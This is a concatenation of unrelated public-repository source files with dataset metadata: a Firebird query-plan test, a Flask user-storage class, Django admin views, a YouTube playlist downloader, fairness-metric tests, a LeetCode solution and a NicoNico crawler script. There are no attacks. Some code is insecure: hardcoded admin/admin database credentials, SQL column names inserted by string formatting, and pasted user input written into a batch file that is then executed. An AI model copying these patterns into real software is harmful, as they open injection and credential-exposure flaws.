#coding:utf-8 # # id: bugs.core_2678 # title: Full outer join cannot use available indices (very slow execution) # decription: # tracker_id: CORE-2678 # min_versions: ['3.0'] # versions: 3.0 # qmid: None import pytest from firebird.qa import db_factory, isql_act, Action # version: 3.0 # resources: None substitutions_1 = [] init_script_1 = """""" db_1 = db_factory(sql_dialect=3, init=init_script_1) test_script_1 = """ create table td_data1 ( c1 varchar(20) character set win1251 not null collate win1251, c2 integer not null, c3 date not null, d1 float not null ); create index idx_td_data1 on td_data1(c1,c2,c3); commit; create table td_data2 ( c1 varchar(20) character set win1251 not null collate win1251, c2 integer not null, c3 date not null, d2 float not null ); create index idx_td_data2 on td_data2(c1,c2,c3); commit; set planonly; select d1.c1, d2.c1, d1.c2, d2.c2, d1.c3, d2.c3, coalesce(sum(d1.d1), 0) t1, coalesce(sum(d2.d2), 0) t2 from td_data1 d1 full join td_data2 d2 on d2.c1 = d1.c1 and d2.c2 = d1.c2 and d2.c3 = d1.c3 group by d1.c1, d2.c1, d1.c2, d2.c2, d1.c3, d2.c3; """ act_1 = isql_act('db_1', test_script_1, substitutions=substitutions_1) expected_stdout_1 = """ PLAN SORT (JOIN (JOIN (D2 NATURAL, D1 INDEX (IDX_TD_DATA1)), JOIN (D1 NATURAL, D2 INDEX (IDX_TD_DATA2)))) """ @pytest.mark.version('>=3.0') def test_1(act_1: Action): act_1.expected_stdout = expected_stdout_1 act_1.execute() assert act_1.clean_stdout == act_1.clean_expected_stdout

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null

0

1

0

null

0

1

406bff6901669314a484753b5d5e8d18397cb7b2

3,693

py

Python

flask-app/web_app/storage_manager/storage_manager.py

PetrMokrov/back_end_project

4dd58d61e637d10872fe58a154dc89f6d0829d94

[ "MIT" ]

null

flask-app/web_app/storage_manager/storage_manager.py

PetrMokrov/back_end_project

4dd58d61e637d10872fe58a154dc89f6d0829d94

[ "MIT" ]

null

flask-app/web_app/storage_manager/storage_manager.py

PetrMokrov/back_end_project

4dd58d61e637d10872fe58a154dc89f6d0829d94

[ "MIT" ]

1

2019-04-02T12:30:13.000Z

#!/usr/bin/env python import psycopg2 import time from ..models import User class StorageManager: def __init__(self): self.conn = None self._connect() self._create_table() def _connect(self): while True: try: self.conn = psycopg2.connect( host='storage', database='app_storage', user='admin', password='admin' ) except psycopg2.Error: print('Cannot connect to database, sleeping 3 seconds') time.sleep(3) else: break def _create_table(self): while True: try: cursor = self.conn.cursor() cursor.execute('CREATE TABLE IF NOT EXISTS users \ (id SERIAL PRIMARY KEY, login VARCHAR(128), \ email VARCHAR(128), hash_password VARCHAR(132), \ confirmed BOOLEAN)') except psycopg2.Error: print('Database error, reconnecting') self._connect() else: break def insert(self, user): ''' If insert is success, the function returns true, Else, it returns false ''' while True: try: if self.select(user.login, category='login') is not None: return False cursor = self.conn.cursor() cursor.execute('INSERT INTO users(login, email, hash_password, confirmed) \ VALUES (%s, %s, %s, %s)', (user.login, user.email, user.hash_password, user.confirmed)) self.conn.commit() return True except psycopg2.Error: print('Database error, reconnecting') time.sleep(1) self._connect() else: break def select(self, value, category='login'): ''' The function returns None, if there is no user with very value of category, else it returns User instance ''' while True: try: cursor = self.conn.cursor() cursor.execute('SELECT * FROM users WHERE %s = %%s' % category, (value,)) self.conn.commit() fetch = cursor.fetchall() if len(fetch) == 0: return None user = User(fetch[0][1], fetch[0][2]) user.id = fetch[0][0] user.hash_password = fetch[0][3] user.confirmed = fetch[0][4] return user except psycopg2.Error: print('Database error, reconnecting') time.sleep(1) self._connect() else: break def confirm(self, value, category='login'): ''' The function sets \'confirmed\' parameter of the user with very value of category as True\n If such user not found, returns False, else returns True ''' while True: try: if self.select(value, category=category) is not None: cursor = self.conn.cursor() cursor.execute('UPDATE users SET confirmed = TRUE WHERE %s = %%s' % category, (value,)) self.conn.commit() return True else: return False except psycopg2.Error: print('Database error, reconnecting') time.sleep(1) self._connect() else: break

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null

0

null

0

1

0

1

407208de4a5ad6967ea27d59e0496b7b2dfa6fe5

747

py

Python

meiduo_mall/meiduo_mall/apps/meiduo_admin/views/spus.py

aGrass0825/meiduo_project

78c560c1e9a3205d4958ddbe798cd0ab2be41830

[ "MIT" ]

null

meiduo_mall/meiduo_mall/apps/meiduo_admin/views/spus.py

aGrass0825/meiduo_project

78c560c1e9a3205d4958ddbe798cd0ab2be41830

[ "MIT" ]

null

meiduo_mall/meiduo_mall/apps/meiduo_admin/views/spus.py

aGrass0825/meiduo_project

78c560c1e9a3205d4958ddbe798cd0ab2be41830

[ "MIT" ]

null

from rest_framework.generics import ListAPIView from rest_framework.permissions import IsAdminUser from goods.models import SPU, SPUSpecification from meiduo_admin.serializers.spus import SPUSimpleSerializer, SPUSpecSerializer class SPUSimpleView(ListAPIView): permission_classes = [IsAdminUser] queryset = SPU.objects.all() serializer_class = SPUSimpleSerializer # GET/meiduo_admin/goods/(?P<pk>\d+)/specs/ class SPUSpecView(ListAPIView): """获取SPU商品的规格选项数据""" permission_classes = [IsAdminUser] # 指定视图类所使用的查询集 def get_queryset(self): pk = self.kwargs['pk'] specs = SPUSpecification.objects.filter(spu_id=pk) return specs # 指定视图类所使用的序列化器类 serializer_class = SPUSpecSerializer

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0.866667

0

null

0

null

0

1

0

1

40771f48cc35e55bf1ed0377d840f200b12f6982

739

py

Python

Use.py

XtremeCoder1384/SongDownloader

7bb06d7961ec699af8517cbd7cb4a1ec83d4fd02

[ "MIT" ]

1

2019-03-04T02:26:41.000Z

Use.py

XtremeCoder1384/SongDownloader

7bb06d7961ec699af8517cbd7cb4a1ec83d4fd02

[ "MIT" ]

1

2018-12-20T02:32:35.000Z

2019-03-11T12:51:15.000Z

Use.py

IngeniousCoder/SongDownloader

7bb06d7961ec699af8517cbd7cb4a1ec83d4fd02

[ "MIT" ]

null

import os import youtube_dl os.system("setup.bat") playlist = input("Paste the Youtube Playlist URL Here.") track = 1 print("""THIS TOOL WILL ATTEMPT TO DOWNLOAD THE FIRST 1000 SONGS IN THE QUEUE.\n PLEASE DO NOT INTERRUPT THE TOOL. YOU MAY CLOSE THE TOOL WHEN IT DISPLAYS "DONE!". ALL DOWNLOADED SONGS WILL BE IN THE SAME DIRECTORY THIS FILE IS IN. TO EXTRACT THEM, FILTER BY MP3.""") for x in range(1000): file = open("Downloader.bat","w") file.write("youtube-dl -x --playlist-start {} --audio-format mp3 --playlist-end {} {}".format(str(track),str(track),playlist)) file.close os.system("Downloader.bat") track = track + 1 print("DONE! You may now close this window.")

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0.03681

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0.216509

739

19

130

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0.117647

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null

0

1

0

null

0

1

407a65f9c4b9f958fde5ab42bad4bdd15788bb31

4,046

py

Python

tests/test_classification_metric.py

DaveFClarke/ml_bias_checking

90f67ebc602b6107042e6cbff3268051bb3b1c95

[ "Apache-2.0" ]

2

2021-07-31T20:52:37.000Z

2022-02-15T21:05:17.000Z

tests/test_classification_metric.py

DaveFClarke/ml_bias_checking

90f67ebc602b6107042e6cbff3268051bb3b1c95

[ "Apache-2.0" ]

2

2021-08-25T16:16:43.000Z

2022-02-10T05:26:14.000Z

tests/test_classification_metric.py

DaveFClarke/ml_bias_checking

90f67ebc602b6107042e6cbff3268051bb3b1c95

[ "Apache-2.0" ]

1

2019-05-21T15:31:24.000Z

from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import numpy as np import pandas as pd from aif360.datasets import BinaryLabelDataset from aif360.metrics import ClassificationMetric def test_generalized_entropy_index(): data = np.array([[0, 1], [0, 0], [1, 0], [1, 1], [1, 0], [1, 0], [2, 1], [2, 0], [2, 1], [2, 1]]) pred = data.copy() pred[[3, 9], -1] = 0 pred[[4, 5], -1] = 1 df = pd.DataFrame(data, columns=['feat', 'label']) df2 = pd.DataFrame(pred, columns=['feat', 'label']) bld = BinaryLabelDataset(df=df, label_names=['label'], protected_attribute_names=['feat']) bld2 = BinaryLabelDataset(df=df2, label_names=['label'], protected_attribute_names=['feat']) cm = ClassificationMetric(bld, bld2) assert cm.generalized_entropy_index() == 0.2 pred = data.copy() pred[:, -1] = np.array([0, 1, 1, 0, 0, 0, 0, 1, 1, 1]) df2 = pd.DataFrame(pred, columns=['feat', 'label']) bld2 = BinaryLabelDataset(df=df2, label_names=['label'], protected_attribute_names=['feat']) cm = ClassificationMetric(bld, bld2) assert cm.generalized_entropy_index() == 0.3 def test_theil_index(): data = np.array([[0, 1], [0, 0], [1, 0], [1, 1], [1, 0], [1, 0], [2, 1], [2, 0], [2, 1], [2, 1]]) pred = data.copy() pred[[3, 9], -1] = 0 pred[[4, 5], -1] = 1 df = pd.DataFrame(data, columns=['feat', 'label']) df2 = pd.DataFrame(pred, columns=['feat', 'label']) bld = BinaryLabelDataset(df=df, label_names=['label'], protected_attribute_names=['feat']) bld2 = BinaryLabelDataset(df=df2, label_names=['label'], protected_attribute_names=['feat']) cm = ClassificationMetric(bld, bld2) assert cm.theil_index() == 4*np.log(2)/10 def test_between_all_groups(): data = np.array([[0, 1], [0, 0], [1, 0], [1, 1], [1, 0], [1, 0], [2, 1], [2, 0], [2, 1], [2, 1]]) pred = data.copy() pred[[3, 9], -1] = 0 pred[[4, 5], -1] = 1 df = pd.DataFrame(data, columns=['feat', 'label']) df2 = pd.DataFrame(pred, columns=['feat', 'label']) bld = BinaryLabelDataset(df=df, label_names=['label'], protected_attribute_names=['feat']) bld2 = BinaryLabelDataset(df=df2, label_names=['label'], protected_attribute_names=['feat']) cm = ClassificationMetric(bld, bld2) b = np.array([1, 1, 1.25, 1.25, 1.25, 1.25, 0.75, 0.75, 0.75, 0.75]) assert cm.between_all_groups_generalized_entropy_index() == 1/20*np.sum(b**2 - 1) def test_between_group(): data = np.array([[0, 0, 1], [0, 1, 0], [1, 1, 0], [1, 1, 1], [1, 0, 0], [1, 0, 0]]) pred = data.copy() pred[[0, 3], -1] = 0 pred[[4, 5], -1] = 1 df = pd.DataFrame(data, columns=['feat', 'feat2', 'label']) df2 = pd.DataFrame(pred, columns=['feat', 'feat2', 'label']) bld = BinaryLabelDataset(df=df, label_names=['label'], protected_attribute_names=['feat', 'feat2']) bld2 = BinaryLabelDataset(df=df2, label_names=['label'], protected_attribute_names=['feat', 'feat2']) cm = ClassificationMetric(bld, bld2, unprivileged_groups=[{'feat': 0}], privileged_groups=[{'feat': 1}]) b = np.array([0.5, 0.5, 1.25, 1.25, 1.25, 1.25]) assert cm.between_group_generalized_entropy_index() == 1/12*np.sum(b**2 - 1)

34.87931

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0.505685

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4,046

3.979839

0.129032

0.02229

0.018237

0.109422

0.698582

0.681864

0.675785

0.641337

0.624113

0

0.077936

0.324518

4,046

115

86

35.182609

0.644347

0

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false

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null

0

1

0

null

0

1

40804fd1f1dd57a07519de8f44b10f0b6f6d1a54

274

py

Python

platonic/platonic/box/implementation.py

anatoly-scherbakov/platonic

b2d239e19f3ebf5a562b6aabcd4b82492bb03564

[ "MIT" ]

1

2019-11-01T09:08:50.000Z

platonic/platonic/box/implementation.py

anatoly-scherbakov/platonic

b2d239e19f3ebf5a562b6aabcd4b82492bb03564

[ "MIT" ]

null

platonic/platonic/box/implementation.py

anatoly-scherbakov/platonic

b2d239e19f3ebf5a562b6aabcd4b82492bb03564

[ "MIT" ]

null

from typing import TypeVar from .abstract import AbstractBox T = TypeVar('T') class ValueBox(AbstractBox[T]): _value: T @property def value(self) -> T: return self._value @value.setter def value(self, value: T): self._value = value

15.222222

33

0.635036

35

274

4.885714

0.428571

0.157895

0.140351

0

0.262774

274

17

34

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0.090909

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0

null

0

null

0

1

0

1

40826ce560682ad3ad560f8fecc12e0ab6658bc0

767

py

Python

39. Combination Sum.py

MapleLove2014/leetcode

135c79ebe98815d0e38280edfadaba90e677aff5

[ "Apache-2.0" ]

1

2020-12-04T07:38:16.000Z

39. Combination Sum.py

MapleLove2014/leetcode

135c79ebe98815d0e38280edfadaba90e677aff5

[ "Apache-2.0" ]

null

39. Combination Sum.py

MapleLove2014/leetcode

135c79ebe98815d0e38280edfadaba90e677aff5

[ "Apache-2.0" ]

null

class Solution: def combinationSum(self, candidates, target): def lookup(candidates, index, target, combine, result): if target == 0: result.append(combine) return if index >= len(candidates) and target > 0: return if target >= candidates[index]: lookup(candidates, index, target - candidates[index], list(combine) + [candidates[index]], result) lookup(candidates, index + 1, target, list(combine), result) sorted(candidates) result = [] lookup(candidates, 0, target, [], result) return result s = Solution() print(s.combinationSum([2,3,6,7], 7)) print(s.combinationSum([2,3,5], 8))

34.863636

114

0.555411

79

767

5.392405

0.35443

0.211268

0.147887

0.126761

0.103286

0

0.025097

0.324641

767

21

115

36.52381

0.797297

0

0.111111

0

1

0.111111

false

0

0.333333

0.111111

0

null

1

0

null

0

1

4082bcb5f99112c93d2d504f08622c615955a33b

1,204

py

Python

crawl_comments.py

tosh1ki/NicoCrawler

236029f103e01de9e61a042759dc9bf2cb7d3d55

[ "MIT" ]

1

2015-03-04T14:06:33.000Z

crawl_comments.py

tosh1ki/NicoCrawler

236029f103e01de9e61a042759dc9bf2cb7d3d55

[ "MIT" ]

2

2015-03-04T02:48:18.000Z

2015-03-04T14:18:32.000Z

crawl_comments.py

tosh1ki/NicoCrawler

236029f103e01de9e61a042759dc9bf2cb7d3d55

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- __doc__ = ''' Crawl comment from nicovideo.jp Usage: crawl_comments.py --url <url> --mail <mail> --pass <pass> [--sqlite <sqlite>] [--csv <csv>] Options: --url <url> --mail <mail> --pass <pass> --sqlite <sqlite> (optional) path of comment DB [default: comments.sqlite3] --csv <csv> (optional) path of csv file contains urls of videos [default: crawled.csv] ''' from docopt import docopt from nicocrawler.nicocrawler import NicoCrawler if __name__ == '__main__': # コマンドライン引数の取得 args = docopt(__doc__) url_channel_toppage = args['--url'] login_mail = args['--mail'] login_pass = args['--pass'] path_sqlite = args['--sqlite'] path_csv = args['--csv'] ncrawler = NicoCrawler(login_mail, login_pass) ncrawler.connect_sqlite(path_sqlite) df = ncrawler.get_all_video_url_of_season(url_channel_toppage) ncrawler.initialize_csv_from_db(path_csv) # # デイリーランキング1~300位の動画を取得する # url = 'http://www.nicovideo.jp/ranking/fav/daily/all' # ncrawler.initialize_csv_from_url(url, path_csv, max_page=3) # ncrawler.get_all_comments_of_csv(path_csv, max_n_iter=1)

26.173913

102

0.671096

158

1,204

4.797468

0.411392

0.036939

0.026385

0.036939

0.08971

0

0.008188

0.188538

1,204

45

103

26.755556

0.767656

0.208472

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0.083333

0.450794

0

1

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false

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null

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null

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